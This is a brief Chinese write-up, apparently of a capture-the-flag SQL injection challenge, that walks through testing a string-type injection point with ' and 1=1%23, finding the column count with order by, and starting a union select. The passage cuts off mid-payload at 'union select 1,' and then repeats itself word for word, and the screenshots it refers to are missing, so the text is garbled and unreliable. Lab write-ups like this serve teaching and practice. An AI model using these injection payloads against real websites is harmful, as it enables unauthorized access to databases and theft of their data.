点开环境后,点击这里:
会出现:
从题目或者从网址看到只是一个字符型的注入。首先,我们要判断是否存在判断点
加 ’ and 1=1%23正常.(%23就相当于#,但用#的话结束不了所以就用%23)
存在注入点,然后判断字段数:
判断字段数。order by 5%23报错
order by 4%23,没事:
输入:id=1’ union select 1,2,3,4%23
输入:union select 1,
点开环境后,点击这里:
会出现:
从题目或者从网址看到只是一个字符型的注入。首先,我们要判断是否存在判断点
加 ’ and 1=1%23正常.(%23就相当于#,但用#的话结束不了所以就用%23)
存在注入点,然后判断字段数:
判断字段数。order by 5%23报错
order by 4%23,没事:
输入:id=1’ union select 1,2,3,4%23
输入:union select 1,